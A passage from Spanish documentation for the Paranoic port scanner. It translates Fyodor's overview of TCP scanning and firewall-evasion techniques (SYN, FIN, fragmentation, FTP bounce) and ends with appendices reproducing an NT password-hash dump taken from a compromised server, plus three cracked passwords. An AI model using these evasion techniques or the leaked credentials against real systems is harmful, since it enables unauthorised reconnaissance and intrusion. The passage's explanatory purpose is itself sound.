cada dos minutos, se actualizan las paginas Web relacionadas
tanto
con los hot-fix como con los Service Pack, y donde ademas podras
encontrar
abundante informacion sobre la causa que motivo la aparicion de tal
parche.
12.
Escaneadores de puertos TCP/UDP. Paranoic.
12.1.
El arte del escaneo de puertos TCP.
(
Traduccion libre y recorte del documento de Fyodor [email protected] [20]
publicado
tambien en Phrack 49. En su pagina Web podras encontrar ademas el
excelente
escaneador de puertos para maquinas Unix/Linux "nmap")
Este
documento trata sobre muchas de las tecnicas usadas para determinar que
puertos
de cierta maquina estan escuchando para atender conexiones. Estos
puertos
representan canales de comunicacion potenciales. Mapear su existencia
facilita
el intercambio de informacion con el host, y por lo tanto es
interesante
y util para cualquiera que desee explorar su entorno de red,
incluyendo
a hackers.
A
pesar de lo que oigas de los medios de comunicacion, INTERNET no solo es el
puerto
80. Cualquiera que confie exclusivamente en la WWW para recabar
informacion
se dejara el 90% de la misma en el tintero.
12.2.
Introduccion.
El
escaneo, como metodo de descubrir canales de comunicacion susceptibles de
ser
explotados, lleva en uso mucho tiempo. La idea es escanear tantos puertos
de
escucha como sea posible, y guardar informacion de aquellos que sean
receptivos
o de utilidad para tus necesidades particulares. Muchas utilidades
de
auditoria se basan en este paradigma.
El
escaneo de puertos entro en el mundo de la seguridad informatica junto con
los
sistemas de telefonia. Dado que actualmente tenemos millones de numeros
de
telefono a los que podemos acceder con una simple llamada, pero de todos
ellos,
solo nos interesan el 0.5 %, quizas aquellos que respondan con una
operadora
(aquellos con los que nos conectemos via modem).
La
solucion logica para encontrar todos estos numeros que nos interesan es
intentar
conectarnos a todos. Asi pues, el-campo conocido como "wardialing"
salio
a la luz. Se desarrollaron excelentes programas como Toneloc
desarrollados
para escanear zonas geograficas enteras y mas. La idea basica
es
simple. Si llamas a un numero y tu modem te devuelve un mensaje de CONNECT,
grabas
el numero. En otro caso, el ordenador colgara el telefono y llamara
incansablemente
al siguiente numero.
Aunque
el "wardialing" aun es de utilidad, nos encontramos con que muchos
de
los
ordenadores con los que deseamos conectarnos estan conectados a traves de
redes
como la Internet en vez de por redes telefonicas analogicas. Escanear
este
tipo de maquinas implica las mismas tecnicas de fuerza bruta. Mandamos
una
ristra de paquetes para varios protocolos y deducimos que servicios estan
escuchando
por las respuestas que recibimos o no recibimos.
12.3.
Tecnicas.
Con
el tiempo, se han desarrollado un gran numero de tecnicas para reconocer
los
puertos abiertos de un sistema. Todas ellas ofrecen ventajas y desventajas.
He
aqui una peque¤a descripcion de las mas comunes:
?
TCP connect() scanning: esta es la forma basica del escaneo de puertos TCP.
La
llamada al sistema connect() que te ofrece tu sistema operativo es usado
para
abrir conexiones en cualquier puerto interesante de la maquina. Si el
puerto
esta escuchando, connect() devolvera una respuesta de exito, cualquier
otro
caso significara que el puerto no esta abierto o que no nos podemos
conectar
a el desde nuestra situacion. Una fuerte ventaja de esta tecnica es
que
no necesitas de privilegios especiales. Cualquier usuario en cualquier
maquina
UNIX puede usar esta llamada. Otra ventaja es la velocidad. Aunque
realizar
una llamada connect() de forma separada para cada puerto a
investigar
de forma lineal podria llevarnos mucho tiempo en una conexion
lenta,
puedes agilizar el escaneo usando muchos sockets en paralelo. Usando
I/O
de no bloqueo te permite inicializar un periodo de time-out peque¤o
y
observar
muchos puertos a la vez.
La
desventaja mas llamativa es que este metodo es facilmente detectable por
el
administrador del sistema a escanear y por lo tanto facil de filtrar. Los
logs
del sistema objetivo mostraran un gran numero de conexiones y mensajes
de
error para los servicios en los que se ha conseguido conectar la maquina
que
lanza el scanner e inmediatamente se ha desconectado.
?
TCP SYN scanning: esta tecnica a menudo se refiere como un escaneo de
"media-apertura",
dado que nunca se abre una sesion TCP completa. Mandas un
paquete
SYN, como si fueras a usar una conexion real y esperar por la
respuesta.
Un
SYN|ACK indica que el puerto esta abierto. Un RST es indicativo de que
esta
cerrado. Si se recibe un SYN|ACK, inmediatamente debemos mandar un RST
para
terminar la conexion. La principal ventaja de esta tecnica de escaneo es
que
pocos sitios estan preparados para registrarlos en sus logs. La
desventaja
es que en Unix, se necesitan privilegios de administrador para
construir
estos paquetes SYN.
?
TCP FIN scanning: hay veces en que incluso el escaneo SYN no es lo
suficientemente
"clandestino" o limpio. Algunos firewalls y filtros de
paquetes
monitorizan la red en busca de paquetes SYN mandados a puertos
restringidos
y existen programas como synlogger y Courtney estan disponibles
para
detectar este tipo de scanners. Los paquetes FIN, por otro lado, podrian
ser
capaces de pasar sin advertirlos. Este tipo de escaneo fue explicado en
detalle
por Uriel Maimon en la e-zine Phrack 49, articulo 15. La idea es que
los
puertos cerrados tienden a responder a los paquetes FIN con el RST
correspondiente.
Los puertos abiertos, en cambio, suelen ignorar el paquete
en
cuestion. Como apunto Alan Cox, este es un comportamiento correcto del
protocolo
TCP . Sin embargo, algunos sistemas (entre los que se hallan los
sistemas
Microsoft) no cumplen con este requerimiento. Mandaran paquetes RST
siempre,
independientemente de si el puerto esta abierto o cerrado, y por lo
tanto
no son vulnerables a este tipo de escaneo. Sin embargo, es posible
realizarlo
en otros sistemas Unix. Actualmente, a veces surge la necesidad de
determinar
de forma remota si un servidor esta gobernado por Unix o NT, y
esta
puede ser una buena forma de hacerlo.
Este
tipo de escaneo, tambien se conoce por el nombre de "Stealth Port
Scanning".
?
Fragmentation scanning: esta no es una nueva tecnica de escaneo como tal,
sino
una modificacion de las otras. En lugar de mandar sin mas los paquetes
de
sondeo, los partimos en un par de peque¤os fragmentos IP. Asi, estamos
consiguiendo
partir una cabecera IP en distintos paquetes para hacerlo mas
dificil
de monitorizar por los filtros de paquetes y por lo tanto mas dificil
de
averiguar que demonios estas haciendo por parte del sistema objetivo. Pero
hay
que tener cuidado con esta tecnica. Algunos programas tienen problemas
con
la gestion de este tipo de paquetes tan peque¤os. El sniffer preferido
del
autor se cuelga con un fallo de segmentacion inmediatamente tras recibir
el
primer paquete de 36-bytes. Y tras el viene uno de 24 bytes!! Aunque este
metodo
no pasara los filtros de paquetes y firewalls que encolan todos los
fragmentos
IP (como la opcion CONFIG_IP_ALWAYS_DEFRAG en Linux), la mayoria
de
las redes no se pueden permitir la bajada del rendimiento que el hacerlo
asi
causa al sistema.
?
TCP reverse ident scanning: como apunto Dave Goldsmith en 1996 en la lista
de
distribucion BugTraq, el protocolo ident (RFC 1413) permite descubrir el
nombre
de usuario del propietario de cualquier proceso conectado via TCP
(en
UNIX), incluso si dicho proceso no fue el que inicio la conexion. Asi
que
es posible, por ejemplo, conectarse al puerto http y despues usar el
demonio
identd para averiguar si el servicio esta ejecutandose con permisos
de
root. Este tipo de sondeo solo es posible con una conexion TCP completa
con
el host objetivo (es decir, con la primera forma de escaneo).
?
FTP bounce attack: una caracteristica importante del protocolo FTP (RFC 959)
es
el soporte de conexiones "proxy". En otras palabras, podria ser
capaz de
conectarme
de diablo.com al PI (interprete de protocolos) del servidor FTP de
victima.com
para establecer el control de la comunicacion de la conexion.
Despues
podria pedirle al PI del servidor que iniciara un proceso DTP
(Data
Transfer Protocol) para enviar un fichero a cualquier parte de Internet.
Normalmente
a un DTP de Usuario, pero la RFC especifica que esta peticion de
envio
de ficheros puede ser de un servidor a otro servidor. Esta RFC se
escribio
en 1985 y entonces esta tecnica funcionaba correctamente, pero hoy
en
dia es menos comun encontrar este tipo de servidores (aunque yo aun no he
encontrado
uno que no lo permita en Espa¤a). Como escribio *Hobbit* en 1995,
"esta
debilidad en el protocolo puede ser usada para mandar mails y news de
forma
intraceable, conectarse a servidores de otros sitios, llenar discos,
intentar
saltarse firewalls y ademas ser muy dificil de trazar y/o detectar."
Lo
que haremos nosotros sera usar esta debilidad para (sorpresa!) escanear
puertos
TCP desde un servidor ftp con soporte de conexiones "proxy". Asi
podriamos
conectarnos a un servidor FTP tras un firewall y despues escanear
puertos
que en general suelen estar bloqueados (139 es una buena opcion). Si
el
servidor FTP permite la lectura de y la escritura a un directorio
(como
/incoming) puedes mandar datos arbitrarios a los puertos que encuentres
abiertos.
Para
el escaneo de puertos, nuestra tecnica es usar el comando PORT para
declarar
que nuestro "User-DTP" pasivo esta escuchando en la maquina objetivo
en
un numero de puerto determinado. Despues intentamos realizar un LIST del
directorio
actual para que se mande el resultado al puerto del servidor
especificado
via canal DTP. Si la maquina objetivo esta escuchando en el
puerto
especificado, la transferencia finalizara con un mensaje de exito
(generando
una respuesta con codigo 150 y otra con codigo 226). En otro caso,
recibiremos
un mensaje de error "425 Can't build data connection: Connection
refused."
Posteriormente
lanzaremos otro comando PORT para intentar conectarnos al
siguiente
puerto de nuestro host objetivo. Las ventajas de esta tecnica son
obvias
(dificil de tracear, con potencial de atravesar firewalls). La
principal
desventaja es que esta tecnica es lenta, y que algunos servidores
FTP
se han dado cuenta del problema y han deshabilitado la caracteristica
"proxy".
12.4.
¨Que tecnica usa PARANOIC?
Paranoic
implementa la primera de las tecnicas presentadas, con la mejora de
lanzar
varias conexiones (sockets) a la vez, haciendo el escaneo mas
eficiente.
La idea inicial consistia en que usara el metodo aleatorio y el
Stealth
Port Scanning, pero mas tarde, me encontre con la desagradable
sorpresa
de que este metodo no se puede implementar para escanear maquinas
con
NT. Ademas, este y otros tipos de escaneo que no sean el "TCP connect()
scanning",
implican programar con Winsocks a bajo nivel, y dado el precario
grado
de conocimientos de programacion para NT con los que comence este
proyecto,
no me ha sido posible ir mas alla de lo que en estos momentos hace
Paranoic
en su modulo de "TCP Port Scanning". Esta es una tarea a mejorar
en
el
futuro. Tambien se estudiara la posiblidad de implementar la tecnica
"FTP
Bounce Attack" en futuras versiones de Paranoic, pues en Espa¤a,
los
servidores
FTP susceptibles a este tipo de ataque aun son numerosos.
Apendice
B. El fichero de passwords de prueba.
El
autor del articulo original sobre crackeo de passwords ( [] The Havoc
Technical
Journal n§ 13, por WaRsPrItE) edito el siguiente fichero de
passwords
para protegerse y salvaguardar el anonimato del servidor crackeado
(y
los usuarios del mismo), sin embargo el fichero es perfectamente valido
como
ejemplo.
Administrator:500:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
Guest:501:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1004:ACAA2B2B4DB1C2F509752A3293831D17:CA45A13FD16012BF33AA68CDFE061FCD:<user
name>::
ccrouter:1009:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1010:9C0E16584A1066E6C2265B23734E0DAC:3BC5E21044369A593A461ABB6942A8A5:<user
name>::
<user
name>:1011:D30B776BDA67C893AAD3B435B51404EE:9507A8AD5A9BDFC54E08F713CB74764F:<user
name>::
<user
name>:1012:1E074F8EF51098B2AAD3B435B51404EE:4F99B255DB7C1852ED01A80576202901:<user
name>::
<user
name>:1013:904021AAA178696DAAD3B435B51404EE:E8CD0E4A9E89EAB931DC5338FCBEC54A:<user
name>::
<user
name>:1014:0A5A9AD4C8774E46C2265B23734E0DAC:6ABC3FA6A76801DFFC63BE7565CFD666:<user
name>::
<user
name>:1015:3F109A599C4324BD93E28745B8BF4BA6:CA162D1F614293BC30686E0AC2F0E67A:<user
name>::
<user
name>:1016:7CF5973DF34EA1443B80EEA293B236B6:3E5CC1D5EDB4B91334EFEEF1258D3E50:<user
name>::
<user
name>:1017:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1018:9EF072AE87B5C9C4AAD3B435B51404EE:6FF0D8A475E5C5B0DFD6A8676F18A829:<user
name>::
<user
name>:1019:6166F0244140F965AAD3B435B51404EE:ECF1BE0786D6E49470107CAB4E3B3E7B:<user
name>::
<user
name>:1020:BE4C45E3524EF720F500944B53168930:8BB50ADC452C4EE196775B7B5008B341:<user
name>::
Supervisor:1026:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
FPNW
Service Account:1027:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1030:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1040:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1041:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1042:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1043:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1044:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1045:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1046:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1047:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1048:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1049:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1051:0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52:<user
name>::
test:1061:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1062:6B35A2BA7D7C5B3AAAD3B435B51404EE:3A1B4CFCEB4385D1108253A357B2955E:<user
name>::
FILE-SERVER$:1066:79570B2F6875312AA1455905822538D8:D114D50DD21D6ADDEBB008E3231D7A44:::
NT$:1067:07128FE8EEB666E788371ED292FDCCE7:AF7C003BB0917BC28E37F1785E2B9018:::
<user
name>:1068:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
IUSR_FILE-SERVER:1069:338C0358DECFDA2902386B2E93EFFD10:9393E296495FDC72CCF951D249BB921F:<user
name>::
PLUTONIUM$:1070:C31C1D58633BE3ED27892589E3A13688:26BC63583A0EB0DB6E7C6DCA33F3AB00:::
Apendice
C. Los resultados del crackeo de passwords.
User:
[<user name>] Lanman PW: [LOBOS1] NT dialect PW: [lobos1]
User:
[<user name>] Lanman PW: [MANDAR] NT dialect PW: [mandar]
User:
[<user name>] Lanman PW: [SKIING] NT dialect PW: [skiing]